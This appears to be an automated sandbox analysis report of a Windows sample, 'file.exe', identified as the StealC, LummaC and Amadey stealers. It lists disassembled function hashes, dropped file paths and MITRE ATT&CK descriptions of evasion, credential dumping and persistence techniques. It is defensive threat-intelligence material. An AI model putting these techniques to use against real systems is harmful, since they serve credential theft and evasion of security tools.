Opcode Fuzzy Hash: 65c87ed469566471a4d08290b7d38675ac47870e59e7d5fdd616ba691291fb2d
Instruction Fuzzy Hash: B8B1A474E012099FCB54DFA9E990A9DFBF6FF88310F148629D419AB315EB34A905CF90

Function 035B7A30 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`^q, xrefs: 035B7B23
`^q, xrefs: 035B7BA2
`^q, xrefs: 035B7CC2
`^q, xrefs: 035B7C44

Memory Dump Source

Source File: 0000000D.00000002.2798886672.00000000035B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_35b0000_powershell.jbxd

Similarity

API ID:
String ID: `^q$`^q$`^q$`^q
API String ID: 0-4294711580
Opcode ID: f109655e06b627974d0668bf5d835a38f7b90f0685879203fb7670a2795e7c58
Instruction ID: b56fc811cf9a48d49bf66b36f3c10dd540c5f6260226cd85d17d7a54f1d76971
Opcode Fuzzy Hash: f109655e06b627974d0668bf5d835a38f7b90f0685879203fb7670a2795e7c58
Instruction Fuzzy Hash: 73B18474E006099FCB54DFA9D990A9DFBF6FF88310F148629D419AB314EB34A905CF90

Function 035B4D62 Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

Oo^, xrefs: 035B4D62
Oo^, xrefs: 035B4DE2
Oo^, xrefs: 035B4D92
Oo^, xrefs: 035B4D82

Memory Dump Source

Source File: 0000000D.00000002.2798886672.00000000035B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_35b0000_powershell.jbxd

Similarity

API ID:
String ID: Oo^$Oo^$Oo^$Oo^
API String ID: 0-799027128
Opcode ID: caf7bfdc1799ebc2da1a38d367f6f520c8bfb211e30f6fd220ead7f7fd13441c
Instruction ID: b7437e4362ca7022c921fd458d588c22bbb5325fefa040177b979cde545f5a2b
Opcode Fuzzy Hash: caf7bfdc1799ebc2da1a38d367f6f520c8bfb211e30f6fd220ead7f7fd13441c
Instruction Fuzzy Hash: 8141376260E3D04FC307973D98A49953FB5AF9729570A01DBD0C8CF6B7D928AC1AC762

Function 07D55798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07D55800
$]q, xrefs: 07D557C6
$]q, xrefs: 07D557F4
$]q, xrefs: 07D557AA

Memory Dump Source

Source File: 0000000D.00000002.2811238840.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 7b67e7264f7c21defdc8da9a879187b0202e9442eaf0d3457e067b466958c298
Instruction ID: 1405667d1e18becdb8aff7468c014139299c7eb6994838467a6c5514bc720fe9
Opcode Fuzzy Hash: 7b67e7264f7c21defdc8da9a879187b0202e9442eaf0d3457e067b466958c298
Instruction Fuzzy Hash: 3F2129B13103129BDF25567AA840B27FBDBAFC1721F24842A9D87CB381DD76D855C361

Function 035B4CC2 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

Oo^, xrefs: 035B4CE2
Oo^, xrefs: 035B4CC2
Oo^, xrefs: 035B4D32
Oo^, xrefs: 035B4CD2

Memory Dump Source

Source File: 0000000D.00000002.2798886672.00000000035B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_35b0000_powershell.jbxd

Similarity

API ID:
String ID: Oo^$Oo^$Oo^$Oo^
API String ID: 0-799027128
Opcode ID: cb6e1bf7bcb0a3e38b9195d47559eb970fe72a11ac354f034c8ce738d62362e2
Instruction ID: fc9b694816670bcb99fe8e98a7ba002ab8fbdfe3fcddd5caa7e355e3eeaecc7b
Opcode Fuzzy Hash: cb6e1bf7bcb0a3e38b9195d47559eb970fe72a11ac354f034c8ce738d62362e2
Instruction Fuzzy Hash: 89115E6250F3C50FC3079B2998B80843F71ADA719935A11DBC0D9DF5ABD82A581BC367

Function 07D5030A Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

4']q, xrefs: 07D5037F
$]q, xrefs: 07D5035E
4']q, xrefs: 07D50373
$]q, xrefs: 07D50352

Memory Dump Source

Source File: 0000000D.00000002.2811238840.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: 6fe29f23bc35c38669d8c1f755e62fc645bd6b3e773a825e7ee9bb901d664054
Instruction ID: add0696b1a11e13fc74cc5e265b8b7ba010eef50240fb265a4a0521787bb70ff
Opcode Fuzzy Hash: 6fe29f23bc35c38669d8c1f755e62fc645bd6b3e773a825e7ee9bb901d664054
Instruction Fuzzy Hash: 1C018FA070E7D64FD72B16380960525AFB65F83A50B2A44E7C891DF2A7CD196C0A8377

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Lipras\pdf.exe

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F7UO7T49UKQNSZTWA8QFF.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\M8HFQURFTEATD4NIMG0DLKG.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre